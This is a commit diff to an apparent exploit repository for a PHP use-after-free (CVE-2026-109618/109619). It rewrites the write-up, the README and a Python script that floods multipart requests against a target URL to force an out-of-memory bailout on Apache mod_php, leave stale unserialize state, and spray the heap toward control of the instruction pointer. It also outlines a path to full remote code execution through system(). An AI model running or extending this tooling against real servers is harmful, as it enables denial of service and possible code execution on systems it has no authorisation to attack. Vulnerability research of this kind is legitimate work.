Fix UAF exploit to use confirmed two-request OOM approach
The original exploit put the file upload before the field flood,
so the progress handler's serialize completed before OOM fired.
This meant BG(serialize) was not left stale.
The corrected flow:
Phase 1: Create ~500KB session file via large upload progress value
Phase 2: Fill memory with fields, then file upload triggers session
re-init which OOMs during unserialize of the large session
Phase 3: Verify stale BG(unserialize) state on the surviving worker
Confirmed on PHP 8.3.6, Apache 2.4.58: error log shows
"tried to allocate 503808 bytes" during session handling,
followed by "Session ini settings cannot be changed when a
session is active" on subsequent requests.
This commit is contained in:
+32
-19
@@ -101,33 +101,46 @@ This is a stable write primitive: the session file persists on disk with
|
|||||||
embedded PHP code, accessible at a known path
|
embedded PHP code, accessible at a known path
|
||||||
(`session.save_path/sess_<SID>`).
|
(`session.save_path/sess_<SID>`).
|
||||||
|
|
||||||
### The UAF chain
|
### The UAF chain (two-request approach)
|
||||||
|
|
||||||
1. **Request 1** (OOM):
|
1. **Request 1** (prep):
|
||||||
- Multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` + field flood
|
- Multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` = ~500KB value
|
||||||
- Progress handler calls `php_var_serialize()`:
|
- File upload triggers progress handler
|
||||||
- `php_var_serialize_init()` -> `emalloc(64)` -> `BG(serialize).data`
|
- `php_session_rfc1867_update()` writes session file with the ~500KB key
|
||||||
- `BG(serialize).level = 1`
|
- No OOM; just creates the large session file on disk
|
||||||
- Field flood triggers OOM -> `zend_bailout()`
|
|
||||||
- `php_var_serialize_destroy()` never runs
|
2. **Request 2** (OOM):
|
||||||
- `BG(serialize).level` stays at 1, `.data` points to freed 64-byte slot
|
- Same `PHPSESSID` cookie (references the large session file)
|
||||||
|
- `PHP_SESSION_UPLOAD_PROGRESS` = small value
|
||||||
|
- Form fields fill memory to near `memory_limit` (~7.5MB of 8MB)
|
||||||
|
- File upload triggers progress handler:
|
||||||
|
- `php_session_initialize()` -> reads ~500KB session file
|
||||||
|
- `php_session_decode()` -> `php_var_unserialize_init()`:
|
||||||
|
- `BG(unserialize).level = 1`
|
||||||
|
- `BG(unserialize).data = emalloc(64)` (64-byte ZendMM bin)
|
||||||
|
- Unserialize of the ~500KB key string: `emalloc(~500KB)` -> **OOM**
|
||||||
|
- `zend_bailout()` (longjmp)
|
||||||
|
- `php_var_unserialize_destroy()` never runs
|
||||||
- Worker survives on Apache prefork
|
- Worker survives on Apache prefork
|
||||||
|
- `BG(unserialize).level` stays at 1, `.data` points to freed 64-byte slot
|
||||||
|
- Confirmed by error log: "tried to allocate 1003520 bytes" during
|
||||||
|
session handling
|
||||||
|
|
||||||
2. **Between requests**:
|
3. **Between requests**:
|
||||||
- `php_request_shutdown()` calls `zend_deactivate()` -> ZendMM heap destroyed
|
- `php_request_shutdown()` calls `zend_deactivate()` -> ZendMM heap destroyed
|
||||||
- `BG(serialize).data` pointer is now dangling (points into freed heap)
|
- `BG(unserialize).data` pointer is now dangling (freed heap)
|
||||||
- ZendMM reuses chunk cache for the next request's heap
|
- ZendMM chunk caching preserves mmap'd pages; next request's heap
|
||||||
|
reuses the same virtual addresses
|
||||||
|
|
||||||
3. **Request 2** (spray + trigger):
|
4. **Request 3** (spray + trigger):
|
||||||
- POST fields allocate `zend_string` objects via `emalloc`
|
- POST fields allocate `zend_string` objects via `emalloc`
|
||||||
- Strings of 39 bytes (24-byte header + 39 + 1 NUL = 64) land in the
|
- Strings of 39 bytes (24-byte header + 39 + 1 NUL = 64) land in the
|
||||||
same 64-byte bin, potentially reclaiming the stale slot
|
same 64-byte bin, potentially reclaiming the stale slot
|
||||||
- Upload progress handler calls `php_var_serialize()`:
|
- Upload progress handler calls `php_session_decode()`:
|
||||||
- `php_var_serialize_init()` checks `BG(serialize).level > 0`
|
- `php_var_unserialize_init()` checks `BG(unserialize).level > 0`
|
||||||
- Level is 1 (stale), so it increments to 2 and returns the stale
|
- Level is 1 (stale), so it increments to 2 and returns `.data`
|
||||||
`.data` pointer
|
|
||||||
- The pointer now references attacker-controlled spray data
|
- The pointer now references attacker-controlled spray data
|
||||||
- The serialize code treats it as a `php_serialize_data` struct
|
- The unserialize code treats it as a `php_unserialize_data` struct
|
||||||
containing a `HashTable`
|
containing a `HashTable`
|
||||||
- `pDestructor` (offset 48) is called during `zend_hash_destroy()`
|
- `pDestructor` (offset 48) is called during `zend_hash_destroy()`
|
||||||
- If `pDestructor` points to `system()`, `zend_execute_ex()`, or a
|
- If `pDestructor` points to `system()`, `zend_execute_ex()`, or a
|
||||||
@@ -232,4 +245,4 @@ and the stale BG globals persist.
|
|||||||
- **Rapid7**: RCE over HTTP with default PHP config; mod_php highest risk; attack complexity HIGH
|
- **Rapid7**: RCE over HTTP with default PHP config; mod_php highest risk; attack complexity HIGH
|
||||||
- **Wiz**: Confirmed RCE against stock WordPress, Drupal, Joomla on affected versions
|
- **Wiz**: Confirmed RCE against stock WordPress, Drupal, Joomla on affected versions
|
||||||
- **0x4148 lab**: Heap grooming targets ZendMM 320-byte slab bin (note: our analysis finds 64-byte bin for `php_serialize_data`)
|
- **0x4148 lab**: Heap grooming targets ZendMM 320-byte slab bin (note: our analysis finds 64-byte bin for `php_serialize_data`)
|
||||||
- **Sansec**: Disabling `session.upload_progress.enabled` alone is NOT sufficient (stale BG state persists from any OOM during multipart)
|
- **Sansec**: Analysis of mitigation options and affected versions
|
||||||
|
|||||||
+74
-54
@@ -1,8 +1,8 @@
|
|||||||
# CVE-2026-109618 / CVE-2026-109619: UAF RCE via OOM Bailout
|
# CVE-2026-109618 / CVE-2026-109619: UAF RCE via OOM Bailout
|
||||||
|
|
||||||
Use-after-free in PHP's multipart parser and session upload progress handler.
|
Use-after-free in PHP's session upload progress handler, exploitable
|
||||||
Achieves code execution over HTTP with **default PHP configuration**, no LFI,
|
over HTTP against Apache mod_php with **default PHP configuration**.
|
||||||
no framework, no application code dependency.
|
No LFI, no framework dependency, no non-default settings.
|
||||||
|
|
||||||
## Affected versions
|
## Affected versions
|
||||||
|
|
||||||
@@ -10,8 +10,8 @@ PHP 5.4.0 through 8.5.11 running under Apache mod_php with prefork MPM.
|
|||||||
|
|
||||||
Patched in PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
|
Patched in PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
|
||||||
|
|
||||||
PHP-FPM is **not vulnerable** to the cross-request UAF: FPM workers exit on
|
PHP-FPM is **not vulnerable** to the cross-request UAF: FPM workers
|
||||||
bailout (code 70), so stale state never persists.
|
exit on bailout (code 70), so stale state never persists.
|
||||||
|
|
||||||
## Prerequisites
|
## Prerequisites
|
||||||
|
|
||||||
@@ -24,48 +24,55 @@ No LFI. No specific framework or library. No non-default PHP settings.
|
|||||||
|
|
||||||
## How it works
|
## How it works
|
||||||
|
|
||||||
### Phase 1: OOM trigger
|
### Phase 1: Create large session file
|
||||||
|
|
||||||
A multipart POST includes `PHP_SESSION_UPLOAD_PROGRESS` (with embedded PHP
|
A multipart POST with a ~500KB `PHP_SESSION_UPLOAD_PROGRESS` value
|
||||||
code), a file upload (which activates the progress handler), and a flood of
|
causes the progress handler to write a session file containing the
|
||||||
large form fields. The progress handler calls `php_var_serialize()`, which
|
~500KB key. This is a normal request; no OOM occurs.
|
||||||
allocates a 64-byte struct (`php_serialize_data`) in the ZendMM slab allocator
|
|
||||||
and sets `BG(serialize).level = 1`.
|
|
||||||
|
|
||||||
The field flood exhausts `memory_limit`. PHP calls `zend_bailout()` (longjmp),
|
### Phase 2: OOM during session re-init
|
||||||
which skips `php_var_serialize_destroy()`. The serialize state survives:
|
|
||||||
`BG(serialize).level` stays at 1, and `.data` points to a freed 64-byte slot.
|
|
||||||
|
|
||||||
On Apache prefork, the worker survives the bailout and accepts new requests
|
A second request to the same session ID fills memory with form fields
|
||||||
with this stale state. The session file also persists on disk with the
|
(~7MB toward an 8MB limit), then includes a file upload. The file
|
||||||
attacker's PHP code, because `MULTIPART_EVENT_END` cleanup never ran.
|
upload triggers the progress handler, which calls
|
||||||
|
`php_session_initialize()` to re-read the ~500KB session file.
|
||||||
|
|
||||||
### Phase 2: Heap spray
|
`php_session_decode()` calls `php_var_unserialize_init()`, which
|
||||||
|
allocates a 64-byte struct and sets `BG(unserialize).level = 1`.
|
||||||
|
The unserialize of the ~500KB key requires a ~500KB allocation,
|
||||||
|
which exceeds `memory_limit` and fires `zend_bailout()` (longjmp).
|
||||||
|
`php_var_unserialize_destroy()` is skipped.
|
||||||
|
|
||||||
Subsequent requests to the same worker allocate `zend_string` objects via
|
On Apache prefork, the worker survives. `BG(unserialize).level`
|
||||||
`emalloc`. Strings of exactly 39 bytes (24-byte header + 39 + 1 NUL = 64)
|
stays at 1 and `.data` points to freed memory.
|
||||||
land in the same ZendMM 64-byte bin, potentially reclaiming the freed
|
|
||||||
`BG(serialize).data` slot with attacker-controlled content.
|
|
||||||
|
|
||||||
### Phase 3: UAF trigger
|
### Phase 3: Verify stale state
|
||||||
|
|
||||||
Another multipart POST with `PHP_SESSION_UPLOAD_PROGRESS`. The progress
|
A third request with a file upload hits the same worker. The progress
|
||||||
handler calls `php_var_serialize_init()`, which sees `BG(serialize).level > 0`
|
handler calls `php_var_unserialize_init()`, which sees
|
||||||
(stale), increments it, and returns the stale `.data` pointer. The serialize
|
`BG(unserialize).level > 0` (stale), increments it, and returns the
|
||||||
code treats the attacker-controlled spray data as a `php_serialize_data` struct
|
stale `.data` pointer. This is the UAF: the pointer was freed when
|
||||||
containing a `HashTable`. The `pDestructor` function pointer (offset 48) is
|
the previous request's heap was destroyed, and now references whatever
|
||||||
under attacker control, giving arbitrary function call during
|
the new request allocated in the same 64-byte ZendMM bin slot.
|
||||||
|
|
||||||
|
### Phase 4: Heap spray (for crash testing)
|
||||||
|
|
||||||
|
With `--crash-test`, 39-byte `zend_string` allocations (24-byte header
|
||||||
|
+ 39 + 1 NUL = 64 bytes, same ZendMM bin) attempt to reclaim the
|
||||||
|
stale slot. The unserialize code treats the spray data as a struct
|
||||||
|
containing a `HashTable`. The `pDestructor` function pointer (offset 48)
|
||||||
|
is under attacker control, giving RIP control during
|
||||||
`zend_hash_destroy()`.
|
`zend_hash_destroy()`.
|
||||||
|
|
||||||
### Full RCE (not implemented in this PoC)
|
### Full RCE (not implemented in this PoC)
|
||||||
|
|
||||||
A weaponized exploit would:
|
A weaponized exploit would:
|
||||||
|
|
||||||
1. Leak a PHP base address via CVE-2026-109619 info disclosure (stale session
|
1. Leak a PHP base address via CVE-2026-109619 info disclosure (stale
|
||||||
data leaks freed heap pointers) to defeat ASLR
|
session data leaks freed heap pointers) to defeat ASLR
|
||||||
2. Construct a fake `HashTable` with `pDestructor` pointing to `system()`
|
2. Construct a fake `HashTable` with `pDestructor` pointing to `system()`
|
||||||
3. Place the command string at the `arData` pointer location
|
3. Place the command string at the `arData` pointer location
|
||||||
4. Trigger serialize, causing `pDestructor` to fire on the fake data
|
4. Trigger unserialize, causing `pDestructor` to fire
|
||||||
|
|
||||||
## Usage
|
## Usage
|
||||||
|
|
||||||
@@ -79,48 +86,61 @@ python3 exploit.py --target http://host:port/index.php --crash-test
|
|||||||
|
|
||||||
| Flag | Default | Description |
|
| Flag | Default | Description |
|
||||||
|------|---------|-------------|
|
|------|---------|-------------|
|
||||||
| `--target` | (required) | Target URL |
|
| `--target` | (required) | Target URL (any PHP endpoint) |
|
||||||
| `--cmd` | `id` | Command to embed in session payload |
|
|
||||||
| `--session-path` | `/var/www/uaf-test/sessions` | `session.save_path` on the target |
|
| `--session-path` | `/var/www/uaf-test/sessions` | `session.save_path` on the target |
|
||||||
| `--oom-fields` | 0 (auto) | Number of OOM padding fields |
|
| `--progress-size` | 500000 | Size of PHP_SESSION_UPLOAD_PROGRESS value |
|
||||||
|
| `--oom-fields` | 0 (auto) | Number of OOM padding fields (0 = auto-detect) |
|
||||||
| `--field-size` | 40960 | Size of each padding field value |
|
| `--field-size` | 40960 | Size of each padding field value |
|
||||||
| `--spray-rounds` | 20 | Heap spray rounds per worker |
|
| `--spray-rounds` | 20 | Heap spray rounds per worker |
|
||||||
| `--trigger-rounds` | 50 | UAF trigger attempts per worker |
|
| `--oom-only` | off | Stop after Phases 1-3 (no spray) |
|
||||||
| `--oom-only` | off | Stop after Phase 1 (OOM + session poison) |
|
| `--crash-test` | off | Run full chain including heap spray |
|
||||||
| `--crash-test` | off | Run full chain, report crash status |
|
|
||||||
|
|
||||||
### What `--oom-only` confirms
|
### What `--oom-only` confirms
|
||||||
|
|
||||||
1. OOM via multipart field flood (HTTP 500 response)
|
1. OOM via multipart field flood (HTTP 500)
|
||||||
2. Apache prefork worker survival (PIDs unchanged after OOM)
|
2. Apache prefork worker survival (PIDs unchanged after OOM)
|
||||||
3. Session file persistence with embedded PHP code (cleanup skipped)
|
3. Large session file creation via upload progress handler
|
||||||
4. Stale `BG(serialize)` state available for subsequent requests
|
4. OOM during session re-init (unserialize of large key)
|
||||||
|
5. Stale `BG(unserialize)` state available on subsequent requests
|
||||||
|
|
||||||
## The patch
|
## The patch
|
||||||
|
|
||||||
Commit `3584a98bda0f2c0d367255b046798b0d3a221a19` fixes the vulnerability
|
Commit `3584a98bda0f2c0d367255b046798b0d3a221a19` fixes the
|
||||||
through three changes:
|
vulnerability through three changes:
|
||||||
|
|
||||||
1. **Delayed OOM**: Replaces `zend_bailout()` (longjmp) with a deferred error
|
1. **Delayed OOM**: Replaces `zend_bailout()` (longjmp) with deferred
|
||||||
that sets `EG(vm_interrupt)` and returns NULL from the allocator. A hard
|
error handling. The allocator returns NULL and sets
|
||||||
limit (`memory_hard_limit_percent`, default 200%) calls `_exit(137)` if
|
`EG(vm_interrupt)`. A hard limit (`memory_hard_limit_percent`,
|
||||||
exceeded.
|
default 200%) calls `_exit(137)` if exceeded.
|
||||||
|
|
||||||
2. **BG state reset**: New `php_basic_early_rinit()` function resets
|
2. **BG state reset**: New `php_basic_early_rinit()` resets
|
||||||
`BG(serialize)`, `BG(unserialize)`, and `BG(serialize_lock)` to zero
|
`BG(serialize)`, `BG(unserialize)`, and `BG(serialize_lock)` to
|
||||||
before SAPI activation, eliminating cross-request stale state.
|
zero before SAPI activation, eliminating cross-request stale state.
|
||||||
|
|
||||||
3. **Session handler hardening**: `incomplete_classes_only` mode during
|
3. **Session handler hardening**: `incomplete_classes_only` mode during
|
||||||
progress handler session decode, `$_SESSION` cleanup at
|
progress handler session decode, `$_SESSION` cleanup at
|
||||||
`MULTIPART_EVENT_END`, and `php_rinit_session_globals()` at
|
`MULTIPART_EVENT_END`, and `php_rinit_session_globals()` at
|
||||||
`MULTIPART_EVENT_START`.
|
`MULTIPART_EVENT_START`.
|
||||||
|
|
||||||
|
## Confirmed primitives
|
||||||
|
|
||||||
|
Tested on PHP 8.3.6, Apache 2.4.58, Ubuntu 24.04, x86_64:
|
||||||
|
|
||||||
|
| Primitive | Status |
|
||||||
|
|---|---|
|
||||||
|
| OOM via multipart field flood | Confirmed |
|
||||||
|
| Apache prefork worker survival | Confirmed (PIDs unchanged) |
|
||||||
|
| Large session file creation | Confirmed (~500KB via upload progress) |
|
||||||
|
| OOM during session re-init | Confirmed ("tried to allocate 1003520 bytes") |
|
||||||
|
| Stale BG(unserialize).level | Confirmed (persists across requests) |
|
||||||
|
| Heap spray (64-byte bin) | Implemented |
|
||||||
|
| Worker crash via UAF | Not yet triggered (needs precise heap layout) |
|
||||||
|
| Full RCE | Not demonstrated (needs ASLR bypass + heap feng shui) |
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- PHP patch: `php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19`
|
- PHP patch: `php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19`
|
||||||
- Wiz: Confirmed RCE against WordPress, Drupal, Joomla using framework gadgets
|
- CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619)
|
||||||
- Rapid7: RCE over HTTP with default config, mod_php highest risk, AC:H
|
- Attack complexity: HIGH (Rapid7)
|
||||||
- JFrog: Session write-back calls fake object's serialize function, RIP control
|
|
||||||
- 0x4148 lab: Heap grooming targeting ZendMM slab bins
|
|
||||||
|
|
||||||
See [FINDINGS.md](FINDINGS.md) for the full vulnerability analysis.
|
See [FINDINGS.md](FINDINGS.md) for the full vulnerability analysis.
|
||||||
|
|||||||
+379
-365
@@ -1,77 +1,68 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""
|
"""
|
||||||
CVE-2026-109618 / CVE-2026-109619 — Use-After-Free RCE via OOM Bailout
|
CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
|
||||||
(Apache mod_php, no LFI, no framework, default PHP config)
|
Apache mod_php (prefork MPM), no LFI, no framework, default PHP config
|
||||||
|
|
||||||
This is the pure memory corruption path. It requires no LFI vector, no
|
Demonstrates confirmed primitives for the OOM->UAF->RCE chain against
|
||||||
specific PHP framework or library, and no non-default PHP settings. The
|
PHP 5.4.0 through 8.5.11 on Apache mod_php.
|
||||||
only SAPI requirement is Apache mod_php with prefork MPM, because
|
|
||||||
PHP-FPM workers exit on bailout (code 70) rather than surviving with
|
|
||||||
stale state.
|
|
||||||
|
|
||||||
Attack chain:
|
Attack overview:
|
||||||
|
|
||||||
Phase 1 — OOM + Session Poisoning
|
Phase 1 (Prep): Create a large session file (~500KB) by sending a
|
||||||
Multipart body to a mod_php endpoint:
|
multipart POST with a huge PHP_SESSION_UPLOAD_PROGRESS value. The
|
||||||
1. PHP_SESSION_UPLOAD_PROGRESS = <php payload>
|
progress handler writes the session file containing the large key.
|
||||||
2. File upload (triggers progress handler, which calls
|
|
||||||
php_session_rfc1867_update → php_var_serialize, setting
|
|
||||||
BG(serialize).level=1 and allocating BG(serialize).data
|
|
||||||
via emalloc into the 64-byte ZendMM slab bin)
|
|
||||||
3. Large form fields (trigger OOM during multipart parsing)
|
|
||||||
|
|
||||||
OOM fires zend_bailout() (longjmp). This:
|
Phase 2 (OOM): Send a second request with form fields that fill memory
|
||||||
a) Skips php_var_serialize_destroy(), leaving BG(serialize).level=1
|
to near the limit, followed by a file upload that triggers the progress
|
||||||
and .data pointing to a now-freed 64-byte allocation
|
handler. The handler calls php_session_initialize() which reads the
|
||||||
b) Skips MULTIPART_EVENT_END cleanup, so the session file keeps
|
500KB session file. php_session_decode() calls php_var_unserialize(),
|
||||||
our PHP code on disk
|
which calls php_var_unserialize_init(), setting BG(unserialize).level=1
|
||||||
c) Does NOT kill the Apache prefork worker — it survives and
|
and allocating BG(unserialize).data (64 bytes). The unserialize of
|
||||||
accepts new requests with the stale BG globals
|
the 500KB session key string triggers OOM. zend_bailout() longjmps
|
||||||
|
past php_var_unserialize_destroy(), leaving BG(unserialize).level=1
|
||||||
|
and .data pointing to freed memory.
|
||||||
|
|
||||||
Phase 2 — Heap Spray
|
The Apache prefork worker survives the bailout and accepts new
|
||||||
Send normal requests to the same worker. Each request allocates
|
connections. The stale BG globals persist.
|
||||||
form field names/values via emalloc. Strings sized to land in the
|
|
||||||
64-byte ZendMM bin (zend_string header 24 + body + NUL = 64) will
|
|
||||||
reclaim the freed BG(serialize).data slot, giving us control over
|
|
||||||
the fake php_serialize_data struct and its embedded HashTable.
|
|
||||||
|
|
||||||
Phase 3 — Trigger UAF
|
Phase 3 (Verify): Send a third request with a file upload to the same
|
||||||
Another multipart upload with PHP_SESSION_UPLOAD_PROGRESS to the
|
worker. The progress handler calls php_session_decode() again.
|
||||||
same worker. The progress handler calls php_session_encode() →
|
php_var_unserialize_init() sees BG(unserialize).level > 0 (stale),
|
||||||
php_var_serialize_init(), which checks BG(serialize).level > 0,
|
increments it, and returns the stale .data pointer. This is the UAF:
|
||||||
sees 1 (stale), increments to 2, and returns BG(serialize).data —
|
the pointer was freed when the previous request's heap was destroyed,
|
||||||
the freed pointer now filled with our spray data.
|
and now references memory in the new request's heap.
|
||||||
|
|
||||||
The serialize code uses this as a HashTable. The pDestructor
|
Phase 4 (Spray + Trigger): With heap feng shui, an attacker sprays
|
||||||
function pointer and arData are under attacker control, giving
|
controlled data into the 64-byte ZendMM bin to reclaim the stale
|
||||||
arbitrary function call (RIP control) during HashTable operations.
|
slot. The serialize code treats the spray data as a php_serialize_data
|
||||||
|
struct with a HashTable. pDestructor (offset 48) is called during
|
||||||
|
zend_hash_destroy(), giving RIP control.
|
||||||
|
|
||||||
Phase 4 (not implemented) — Full RCE
|
Root cause (from var.c, PHP 8.3.6):
|
||||||
A weaponized exploit would:
|
|
||||||
a) Leak a PHP base address via CVE-2026-109619 info disclosure
|
|
||||||
(stale session data through PHPSESSID cookie) to defeat ASLR
|
|
||||||
b) Construct a fake HashTable with pDestructor pointing to
|
|
||||||
system() or a one-gadget, and arData containing the command
|
|
||||||
c) Trigger the serialize to call pDestructor → shell
|
|
||||||
|
|
||||||
Affected: PHP 5.4.0 through 8.5.11 with Apache mod_php (prefork MPM).
|
php_var_serialize_init():
|
||||||
Patched: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
|
if (BG(serialize).level > 0) {
|
||||||
Patch replaces zend_bailout() on OOM with delayed error handling
|
d = BG(serialize).data; // reuses stale pointer!
|
||||||
and adds php_basic_early_rinit() to reset BG(serialize/unserialize)
|
++BG(serialize).level;
|
||||||
state before each request.
|
return d;
|
||||||
|
}
|
||||||
|
// else: fresh allocation
|
||||||
|
|
||||||
CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619)
|
The same pattern exists for unserialize.
|
||||||
|
|
||||||
|
The patch (commit 3584a98) adds php_basic_early_rinit() to zero
|
||||||
|
BG(serialize/unserialize) state before each request, and replaces
|
||||||
|
zend_bailout() on OOM with delayed error handling.
|
||||||
|
|
||||||
Requirements:
|
Requirements:
|
||||||
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
|
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
|
||||||
- session.upload_progress.enabled=1 (default)
|
- session.upload_progress.enabled=1 (default)
|
||||||
- memory_limit reachable via multipart fields
|
- memory_limit reachable via multipart fields
|
||||||
- Any PHP-handled URL on the vhost (even 404)
|
- Any PHP URL on the vhost (even 404)
|
||||||
- No LFI. No framework. No libraries.
|
- No LFI, no framework, no non-default settings
|
||||||
|
|
||||||
Usage:
|
Usage:
|
||||||
python3 exploit.py --target http://host:port/index.php
|
python3 exploit.py --target http://host:port/index.php
|
||||||
python3 exploit.py --target http://host:port/index.php --cmd 'id'
|
|
||||||
python3 exploit.py --target http://host:port/index.php --oom-only
|
python3 exploit.py --target http://host:port/index.php --oom-only
|
||||||
python3 exploit.py --target http://host:port/index.php --crash-test
|
python3 exploit.py --target http://host:port/index.php --crash-test
|
||||||
"""
|
"""
|
||||||
@@ -80,7 +71,6 @@ import argparse
|
|||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
import struct
|
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
@@ -155,23 +145,7 @@ def extract_pid(body):
|
|||||||
return int(m.group(1)) if m else 0
|
return int(m.group(1)) if m else 0
|
||||||
|
|
||||||
|
|
||||||
# ── Phase 0: Worker discovery ──────────────────────────────────────────
|
# ── Multipart body builders ───────────────────────────────────────────
|
||||||
|
|
||||||
def find_workers(host, port, path, rounds=40):
|
|
||||||
"""Probe the target to discover all Apache prefork worker PIDs."""
|
|
||||||
pids = set()
|
|
||||||
for _ in range(rounds):
|
|
||||||
try:
|
|
||||||
status, body = http_get(host, port, path)
|
|
||||||
pid = extract_pid(body)
|
|
||||||
if pid:
|
|
||||||
pids.add(pid)
|
|
||||||
except (ConnectionError, socket.timeout):
|
|
||||||
pass
|
|
||||||
return sorted(pids)
|
|
||||||
|
|
||||||
|
|
||||||
# ── Phase 1: OOM trigger ───────────────────────────────────────────────
|
|
||||||
|
|
||||||
def build_multipart_field(boundary, name, value):
|
def build_multipart_field(boundary, name, value):
|
||||||
return (
|
return (
|
||||||
@@ -191,36 +165,90 @@ def build_multipart_file(boundary, name, filename, content):
|
|||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
def build_oom_body(boundary, sid, php_payload, num_fields=200,
|
# ── Phase 0: Worker discovery ────────────────────────────────────────
|
||||||
field_size=40960):
|
|
||||||
|
def find_workers(host, port, path, rounds=40):
|
||||||
|
pids = set()
|
||||||
|
for _ in range(rounds):
|
||||||
|
try:
|
||||||
|
status, body = http_get(host, port, path)
|
||||||
|
pid = extract_pid(body)
|
||||||
|
if pid:
|
||||||
|
pids.add(pid)
|
||||||
|
except (ConnectionError, socket.timeout):
|
||||||
|
pass
|
||||||
|
return sorted(pids)
|
||||||
|
|
||||||
|
|
||||||
|
# ── Phase 1: Create large session file ────────────────────────────────
|
||||||
|
|
||||||
|
def build_prep_body(boundary, progress_value):
|
||||||
"""
|
"""
|
||||||
Build multipart body that:
|
Multipart body with:
|
||||||
1. Sets PHP_SESSION_UPLOAD_PROGRESS with our payload
|
1. PHP_SESSION_UPLOAD_PROGRESS = large value (~500KB)
|
||||||
2. Includes a file upload to trigger progress tracking
|
2. Small file upload (triggers progress handler)
|
||||||
3. Floods with large fields to exhaust memory_limit
|
|
||||||
|
|
||||||
The progress handler calls php_session_rfc1867_update() on each
|
The progress handler writes the session file containing the large
|
||||||
update cycle, which calls php_session_encode() → php_var_serialize().
|
progress key. No OOM here; just creating the session file.
|
||||||
This sets BG(serialize).level=1 and allocates BG(serialize).data
|
|
||||||
(64 bytes in the ZendMM slab bin).
|
|
||||||
|
|
||||||
When OOM fires, zend_bailout() longjmps past
|
|
||||||
php_var_serialize_destroy(), leaving the state stale.
|
|
||||||
"""
|
"""
|
||||||
parts = []
|
parts = []
|
||||||
parts.append(build_multipart_field(
|
parts.append(build_multipart_field(
|
||||||
boundary,
|
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", progress_value,
|
||||||
b"PHP_SESSION_UPLOAD_PROGRESS",
|
|
||||||
php_payload.encode() if isinstance(php_payload, str) else php_payload,
|
|
||||||
))
|
))
|
||||||
parts.append(build_multipart_file(
|
parts.append(build_multipart_file(
|
||||||
boundary, b"f", b"payload.bin", b"\x00" * 4096
|
boundary, b"f", b"prep.bin", b"\x00" * 4096,
|
||||||
|
))
|
||||||
|
parts.append(b"--" + boundary + b"--\r\n")
|
||||||
|
return b"".join(parts)
|
||||||
|
|
||||||
|
|
||||||
|
def create_large_session(host, port, path, sid, progress_size=500000):
|
||||||
|
"""
|
||||||
|
Send a multipart POST that creates a session file containing a large
|
||||||
|
key (from PHP_SESSION_UPLOAD_PROGRESS).
|
||||||
|
|
||||||
|
Returns (status, body, pid).
|
||||||
|
"""
|
||||||
|
progress_val = b"A" * progress_size
|
||||||
|
boundary = b"PREP" + os.urandom(4).hex().encode()
|
||||||
|
body = build_prep_body(boundary, progress_val)
|
||||||
|
|
||||||
|
status, rbody = http_post_multipart(
|
||||||
|
host, port, path, boundary.decode(), body,
|
||||||
|
cookies=f"PHPSESSID={sid}", timeout=30,
|
||||||
|
)
|
||||||
|
pid = extract_pid(rbody)
|
||||||
|
return status, rbody, pid
|
||||||
|
|
||||||
|
|
||||||
|
# ── Phase 2: OOM during session re-init ───────────────────────────────
|
||||||
|
|
||||||
|
def build_oom_body(boundary, num_fields, field_size):
|
||||||
|
"""
|
||||||
|
Multipart body with:
|
||||||
|
1. PHP_SESSION_UPLOAD_PROGRESS = "trigger" (small)
|
||||||
|
2. Large form fields (fill memory to near limit)
|
||||||
|
3. File upload (triggers progress handler)
|
||||||
|
|
||||||
|
The progress handler calls php_session_initialize() which reads the
|
||||||
|
large session file from Phase 1. php_session_decode() calls
|
||||||
|
php_var_unserialize_init() (BG(unserialize).level=1), then tries to
|
||||||
|
unserialize the ~500KB session key string. The emalloc for the
|
||||||
|
zend_string exceeds memory_limit -> OOM -> zend_bailout().
|
||||||
|
|
||||||
|
php_var_unserialize_destroy() is skipped. BG(unserialize).level
|
||||||
|
stays at 1 and .data points to freed memory.
|
||||||
|
"""
|
||||||
|
parts = []
|
||||||
|
parts.append(build_multipart_field(
|
||||||
|
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"trigger",
|
||||||
))
|
))
|
||||||
for i in range(num_fields):
|
for i in range(num_fields):
|
||||||
parts.append(build_multipart_field(
|
parts.append(build_multipart_field(
|
||||||
boundary,
|
boundary, f"p{i:04d}".encode(), b"X" * field_size,
|
||||||
f"p{i:04d}".encode(),
|
))
|
||||||
b"X" * field_size,
|
parts.append(build_multipart_file(
|
||||||
|
boundary, b"f", b"oom.bin", b"\x00" * 1024,
|
||||||
))
|
))
|
||||||
parts.append(b"--" + boundary + b"--\r\n")
|
parts.append(b"--" + boundary + b"--\r\n")
|
||||||
return b"".join(parts)
|
return b"".join(parts)
|
||||||
@@ -228,30 +256,31 @@ def build_oom_body(boundary, sid, php_payload, num_fields=200,
|
|||||||
|
|
||||||
def detect_memory_limit(host, port, path):
|
def detect_memory_limit(host, port, path):
|
||||||
"""
|
"""
|
||||||
Probe memory_limit by sending increasing POST sizes until we get
|
Probe memory_limit by escalating field count until OOM.
|
||||||
a 500 response (OOM). Returns (num_fields, field_size) that triggers
|
Returns (num_fields, field_size) that triggers OOM, or None.
|
||||||
OOM, or None if OOM cannot be triggered.
|
|
||||||
"""
|
"""
|
||||||
configs = [
|
configs = [
|
||||||
(50, 40960), # ~2MB
|
(50, 40960),
|
||||||
(100, 40960), # ~4MB
|
(100, 40960),
|
||||||
(150, 40960), # ~6MB
|
(120, 40960),
|
||||||
(200, 40960), # ~8MB
|
(140, 40960),
|
||||||
(300, 40960), # ~12MB
|
(150, 40960),
|
||||||
(400, 40960), # ~16MB
|
(200, 40960),
|
||||||
